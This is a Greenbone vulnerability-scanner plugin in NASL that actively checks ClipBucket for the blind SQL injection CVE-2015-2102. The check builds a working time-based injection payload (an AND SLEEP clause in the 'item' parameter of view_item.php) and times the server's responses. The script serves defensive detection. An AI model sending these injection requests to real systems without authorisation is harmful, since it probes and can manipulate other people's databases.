ClipBucket < 2.7.0.5 SQLi Vulnerability - Active Check

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:oxygenz:clipbucket";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805347");
  script_version("2026-06-12T07:09:59+0000");
  script_tag(name:"last_modification", value:"2026-06-12 07:09:59 +0000 (Fri, 12 Jun 2026)");
  script_tag(name:"creation_date", value:"2015-03-05 15:20:26 +0530 (Thu, 05 Mar 2015)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2015-2102");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("ClipBucket < 2.7.0.5 SQLi Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_clipbucket_http_detect.nasl");
  script_mandatory_keys("clipbucket/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"ClipBucket is prone to blind SQL injection (SQLi)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Flaw is due to the view_item.php script not properly sanitizing
  user-supplied input via the 'item' parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to inject or
  manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of
  arbitrary data.");

  script_tag(name:"affected", value:"ClipBucket version 2.7.0.4.v2929. Other versions may also be
  affected.");

  script_tag(name:"solution", value:"Update to version 2.7.0.5 or later.");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/36156/");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/130485");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/index.php";

req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);

item = eregmatch(pattern: "item=([0-9a-zA-Z]+)", string: res);
if (isnull(item[1]))
  exit(0);

collection = eregmatch(pattern: "collection=([0-9]+)", string: res);
if (isnull(collection[1]))
  exit(0);

# Added three times, to make sure its working properly
sleep = make_list(5, 7, 9);
wait_extra_sec = 5;

# Use sleep time to check we are able to execute command
foreach sec (sleep) {
  url = dir + "/upload/view_item.php?item="+ item[1] + "%27%20AND%20SLEEP(" + sec +
        ")%20AND%20%27Ypjn%27=%27Ypjn&type=photos&collection=" + collection[1];

  req = http_get(port: port, item: url);
  start = unixtime();
  res = http_keepalive_send_recv(port: port, data: req);
  stop = unixtime();

  time_taken = stop - start;
  if (time_taken + 1 < sec || time_taken > (sec + wait_extra_sec))
    exit(0);
}

report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);

exit(0);